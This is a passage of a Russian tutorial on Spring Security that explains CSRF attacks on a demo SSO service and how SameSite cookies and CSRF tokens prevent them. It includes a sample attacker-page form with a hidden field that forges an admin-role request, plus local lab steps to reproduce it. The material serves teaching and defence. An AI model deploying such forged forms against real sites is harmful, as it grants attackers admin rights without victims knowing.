\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c.<\/p>\n<\/blockquote>\n<p>\u0427\u0442\u043e\u0431\u044b \u0431\u044b\u043b\u043e \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u043f\u0440\u0438\u043c\u0435\u0440. \u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c, \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441 SSO \u0438 \u0444\u043e\u0440\u043c\u0430 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0440\u043e\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a:<\/p>\n<pre><code> &lt;form method=\"post\"       action=\"\/admin-user\/assign-admin\">     &lt;input type=\"text\"            name=\"email\"\/>     &lt;input type=\"submit\"            value=\"Assign\"\/> &lt;\/form> <\/code><\/pre>\n<p>HTTP \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u0442\u0430\u043a\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0431\u0443\u0434\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c:<\/p>\n<pre><code>POST \/admin-user\/assign-admin HTTP\/1.1 Host: j-sso.ru Cookie: JSESSIONID=........ Content-Type: application\/x-www-form-urlencoded  email=user@gmail.com <\/code><\/pre>\n<p>\u0410 \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043c, \u0447\u0442\u043e \u0432\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0435 SSO \u0438 \u043f\u0435\u0440\u0435\u0448\u043b\u0438 \u043d\u0430 \u0441\u0430\u0439\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430, \u0433\u0434\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0444\u043e\u0440\u043c\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0432\u0438\u0434\u0430:<\/p>\n<pre><code> &lt;form method=\"post\"       action=\"https:\/\/j-sso.ru\/admin-user\/assign-admin\">     &lt;input type=\"hidden\"            name=\"email\"            value=\"evil-mail@gmail.com\"\/>     &lt;input type=\"submit\"            value=\"Press button\"\/> &lt;\/form> <\/code><\/pre>\n<p>\u0412\u044b \u043d\u0430\u0436\u0438\u043c\u0430\u0435\u0442\u0435 \u043d\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0443\u044e \u043a\u043d\u043e\u043f\u043a\u0443 (Press button), \u0438 \u043d\u0430 \u043d\u0430\u0448 SSO \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d \u0437\u0430\u043f\u0440\u043e\u0441 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0432\u0438\u0434\u0430:<\/p>\n<pre><code>POST \/admin-user\/assign-admin HTTP\/1.1 Host: j-sso.ru Cookie: JSESSIONID=........ Content-Type: application\/x-www-form-urlencoded  email=evil-mail@gmail.com <\/code><\/pre>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0432\u044b \u0441\u0430\u043c\u0438 \u0442\u043e\u0433\u043e \u043d\u0435 \u0437\u043d\u0430\u044f, \u043d\u0430\u0437\u043d\u0430\u0447\u0438\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430. \u041a\u0430\u043a \u0436\u0435 \u0442\u0430\u043a \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442? \u0412\u0441\u0451 \u043f\u0440\u043e\u0441\u0442\u043e, \u0442\u0430\u043a \u043a\u0430\u043a \u0432\u044b \u043d\u0435 \u0440\u0430\u0437\u043b\u043e\u0433\u0438\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0435 SSO, \u0442\u043e \u043f\u0440\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u0431\u0443\u0434\u0443\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432\u0430\u0448\u0438 Cookie \u0444\u0430\u0439\u043b\u044b (\u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0438\u0435 <code>j-sso.ru<\/code>), \u0438 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0441\u044f, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0432\u044b \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0435\u0441\u044c \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u043c \u0441\u0430\u0439\u0442\u0435.<\/p>\n<p>\u0414\u0430, \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043d\u0430\u0438\u0433\u0440\u0430\u043d\u0430 \u0432 \u044d\u0442\u043e\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u0435, \u043d\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u044c\u0442\u0435 \u0441\u0435\u0431\u0435, \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u0442, \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u043d\u0435 SSO \u0441\u0435\u0440\u0432\u0438\u0441, \u0430 \u0441\u0430\u0439\u0442 \u0431\u0430\u043d\u043a\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0430\u0434\u0443\u043c\u0430\u0442\u044c\u0441\u044f \u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 \u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0437\u0430\u0449\u0438\u0442\u044b \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0434\u043e \u0432\u044b\u0432\u043e\u0434\u0430 \u0432\u0430\u0448\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0438\u0432.<\/p>\n<p>\u0412 \u0432\u0435\u0442\u043a\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f <code>chapter-5.1<\/code> \u044f \u0434\u043e\u0431\u0430\u0432\u0438\u043b \u043d\u043e\u0432\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 docker-compose &#8212; <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\/blob\/chapter-5.1\/docker\/csrf-example\/README.md\" rel=\"noopener noreferrer nofollow\"><code>csrf-example<\/code><\/a>. \u041e\u043d \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f CSRF \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 <code>j-sso<\/code>. \u042d\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u0430\u044f html \u0444\u043e\u0440\u043c\u0430, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0435\u0441\u0442\u044c \u0432\u0441\u0435\u0433\u043e \u043e\u0434\u043d\u0430 \u043a\u043d\u043e\u043f\u043a\u0430. \u041f\u0440\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u0438 \u043d\u0430 \u044d\u0442\u0443 \u043a\u043d\u043e\u043f\u043a\u0443 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0430 email \u0430\u0434\u0440\u0435\u0441 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430. \u0427\u0442\u043e\u0431\u044b \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0443, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f:<\/p>\n<ol>\n<li>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u0435 <code>j-sso<\/code> \u0438 <code>csrf-example<\/code> (\u043c\u043e\u0436\u0435\u0442\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0435\u0439 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 <code>run all service<\/code>)<\/p>\n<\/li>\n<li>\n<p>\u041f\u0440\u043e\u0439\u0434\u0438\u0442\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0432 <code>j-sso<\/code> \u043b\u044e\u0431\u044b\u043c \u0443\u0434\u043e\u0431\u043d\u044b\u043c \u0434\u043b\u044f \u0432\u0430\u0441 \u043e\u0431\u0440\u0430\u0437\u043e\u043c (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043b\u043e\u0433\u0438\u043d\/\u043f\u0430\u0440\u043e\u043b\u044c: <a href=\"mailto:admin@example.com\" rel=\"noopener noreferrer nofollow\">admin@example.com<\/a>\/admin@example.com)<\/p>\n<\/li>\n<li>\n<p>\u041f\u0435\u0440\u0435\u0439\u0434\u0438\u0442\u0435 \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 <code>csrf-example<\/code> (<a href=\"http:\/\/localhost:9090\/index.html\" rel=\"noopener noreferrer nofollow\">http:\/\/localhost:9090\/index.html<\/a>)<\/p>\n<\/li>\n<li>\n<p>\u041e\u0442\u043a\u0440\u043e\u0439\u0442\u0435 \u043a\u043e\u043d\u0441\u043e\u043b\u044c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435, \u0447\u0442\u043e\u0431\u044b \u0432\u0438\u0434\u0435\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u044b.<\/p>\n<\/li>\n<li>\n<p>\u041d\u0430\u0436\u043c\u0438\u0442\u0435 \u043d\u0430 \u043a\u043d\u043e\u043f\u043a\u0443 <code>Press button<\/code>. (\u041f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0430\u0434\u0440\u0435\u0441 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 (<a href=\"mailto:evil_mail@example.com\" rel=\"noopener noreferrer nofollow\">evil_mail@example.com<\/a>) \u0443\u0436\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0432 j-sso, \u043d\u043e \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.)<\/p>\n<\/li>\n<\/ol>\n<p>\u0412\u044b \u0443\u0432\u0438\u0434\u0438\u0442\u0435, \u043a\u0430\u043a \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0435\u0433\u043e \u0441\u0430\u0439\u0442\u0430 (<a href=\"http:\/\/localhost:9090\" rel=\"noopener noreferrer nofollow\">http:\/\/localhost:9090<\/a>).<\/p>\n<h4>\u0417\u0430\u0449\u0438\u0442\u0430 \u043e\u0442 CSRF<\/h4>\n<p>\u0421\u0443\u0434\u044f \u0438\u0437 \u0442\u0435\u043e\u0440\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u0432\u044b\u0448\u0435, \u0432\u0435\u0441\u044c \u0441\u043c\u044b\u0441\u043b \u0437\u0430\u0449\u0438\u0442\u044b \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c \u043e\u0442\u043a\u0443\u0434\u0430 \u043f\u0440\u0438\u0448\u0451\u043b \u0437\u0430\u043f\u0440\u043e\u0441: \u0441 \u043d\u0430\u0448\u0435\u0433\u043e \u0441\u0430\u0439\u0442\u0430 \u0438\u043b\u0438 \u0441 \u0441\u0430\u0439\u0442\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430. Spring Security \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u0430\u043c \u0434\u0432\u0430 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0430\u0442\u0430\u043a CSRF. \u041d\u043e \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u043c\u044b \u043f\u0435\u0440\u0435\u0439\u0434\u0451\u043c \u043a \u0438\u0445 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u044e, \u0432\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u0441\u0432\u043e\u0451\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438, \u0447\u0442\u043e \u0432\u0441\u0435 <a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/rfc7231#section-4.2.1\" rel=\"noopener noreferrer nofollow\">&#171;Safe HTTP methods&#187;<\/a> \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u044b \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435, \u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0438\u0442\u0430\u0442\u044c \u0438\u0445. \u041a \u0442\u0430\u043a\u0438\u043c \u043c\u0435\u0442\u043e\u0434\u0430\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f: GET, HEAD, OPTIONS, TRACE.<\/p>\n<p>\u0421\u0430\u043c\u043e\u0435 \u043f\u0440\u043e\u0441\u0442\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0441\u0435\u0431\u044f \u043e\u0442 CSRF &#8212; \u044d\u0442\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0430\u0442\u0440\u0438\u0431\u0443\u0442 <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Headers\/Set-Cookie#samesitesamesite-value\" rel=\"noopener noreferrer nofollow\">Same Site<\/a> \u0434\u043b\u044f \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0445 Cookie. \u0414\u0430\u043d\u043d\u044b\u0439 \u0430\u0442\u0440\u0438\u0431\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0443, \u043a\u043e\u0433\u0434\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0438\u0445 \u0441 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c, \u0430 \u043a\u043e\u0433\u0434\u0430 \u043d\u0435\u0442. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0435\u0441\u043b\u0438 \u043c\u044b \u0443\u043a\u0430\u0436\u0435\u043c Strict, \u0442\u043e \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u043e\u0437\u043d\u0430\u0447\u0430\u0442\u044c, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u044b\u0435 \u043a\u0443\u043a\u0438 \u0431\u0443\u0434\u0443\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c\u0441\u044f, \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u0437\u0430\u043f\u0440\u043e\u0441 \u0438\u0434\u0451\u0442 \u0441 \u0434\u043e\u043c\u0435\u043d\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b \u044d\u0442\u0438 \u043a\u0443\u043a\u0438. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d\u0430 \u0443\u0436\u0435 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u044d\u0442\u0438\u0445 Cookie.<\/p>\n<p>\u0414\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u0445\u043e\u0440\u043e\u0448\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043d\u043e \u043d\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u0443\u0434\u043e\u0431\u0435\u043d. \u0422\u0430\u043a \u043a\u0430\u043a \u0438\u043d\u043e\u0433\u0434\u0430 \u043c\u044b \u0445\u043e\u0442\u0438\u043c, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u043d\u0430 \u0441\u0430\u0439\u0442 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0438\u0437 \u043f\u0438\u0441\u044c\u043c\u0430), \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u0441\u0435\u0441\u0441\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043e\u0441\u0442\u0430\u043b\u0430\u0441\u044c, \u0438 \u0435\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043f\u043e \u043d\u043e\u0432\u043e\u0439. \u0422\u043e \u0435\u0441\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c UX, \u043c\u044b \u0447\u0430\u0441\u0442\u043e \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0432 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0435 Same Site \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 Lax. \u0414\u0430\u043d\u043d\u044b\u0439 \u0430\u0442\u0440\u0438\u0431\u0443\u0442 \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 Cookie \u043d\u0430 \u043c\u0435\u0436-\u0441\u0430\u0439\u0442\u043e\u0432\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u0445, \u043d\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u0438\u0445 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443, \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442 \u043d\u0430 \u0441\u0430\u0439\u0442 \u043f\u043e \u043f\u0440\u044f\u043c\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0435.<\/p>\n<p>\u0415\u0441\u043b\u0438 \u043c\u044b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u043d\u0430\u0448\u0438 SESSION \u043a\u0443\u043a\u0438, \u0442\u043e \u0443\u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u0430\u0442\u0440\u0438\u0431\u0443\u0442 Same Site \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0438\u043c\u0435\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 Lax.<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/8a8\/d58\/555\/8a8d585558780bfc915693e91953c7c2.png\" alt=\"SESSION cookie\" title=\"SESSION cookie\" width=\"1200\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/8a8\/d58\/555\/8a8d585558780bfc915693e91953c7c2.png\"\/><\/p>\n<div><figcaption>SESSION cookie<\/figcaption><\/div>\n<\/figure>\n<p>\u0412\u0442\u043e\u0440\u044b\u043c \u043f\u043e\u0434\u0445\u043e\u0434\u043e\u043c \u043a \u0437\u0430\u0449\u0438\u0442\u0435 \u043e\u0442 CSRF \u0430\u0442\u0430\u043a \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0442\u043e\u043a\u0435\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u0440\u043e\u043d\u0442\u0443 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u043a\u0443\u043a\u0430\u0445 \u0438\u043b\u0438 meta \u0442\u0435\u0433\u0430\u0445). \u0424\u0440\u043e\u043d\u0442 \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0443, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u0430\u043f\u0440\u043e\u0441 \u043f\u0440\u0438\u0448\u0451\u043b \u0441 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u0430\u0439\u0442\u0430, \u0430 \u043d\u0435 \u0441 \u0441\u0430\u0439\u0442\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430. \u0414\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u0442\u043e\u043a\u0435\u043d \u041d\u0415 \u0410\u0412\u0422\u041e\u041c\u0410\u0422\u0418\u0427\u0415\u0421\u041a\u0418 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440. \u0422\u043e \u0435\u0441\u0442\u044c \u0444\u0440\u043e\u043d\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e (\u0447\u0435\u0440\u0435\u0437 JavaScript) \u0438 \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043f\u043e\u0434\u043b\u043e\u0436\u0438\u0442\u044c \u0435\u0433\u043e \u0432 \u0442\u0435\u043b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0438\u043b\u0438 \u0432 \u0435\u0433\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u0445. \u0421\u0442\u043e\u0438\u0442 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u043d\u0438\u043c\u0430\u0442\u044c, \u0447\u0442\u043e \u0432\u0441\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0441\u043c\u044b\u0441\u043b\u0430 \u0437\u0430\u0449\u0438\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u043c \u0442\u043e\u043a\u0435\u043d\u043e\u043c, \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e &#171;Unsafe HTTP methods&#187; (\u0442\u0435, \u0447\u0442\u043e \u043c\u0435\u043d\u044f\u044e\u0442 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f: POST, PUT, DELETE \u0438 \u0434\u0440).<\/p>\n<p>\u0412 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0430 \u043d\u0430\u043c \u043e\u0447\u0435\u043d\u044c \u0441\u0438\u043b\u044c\u043d\u043e \u043f\u043e\u043c\u043e\u0436\u0435\u0442 Spring Security, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c DSL \u043c\u0435\u0442\u043e\u0434 <code>.csrf()<\/code> \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 <code>SecurityFilterChain<\/code>. \u041e\u0441\u043d\u043e\u0432\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 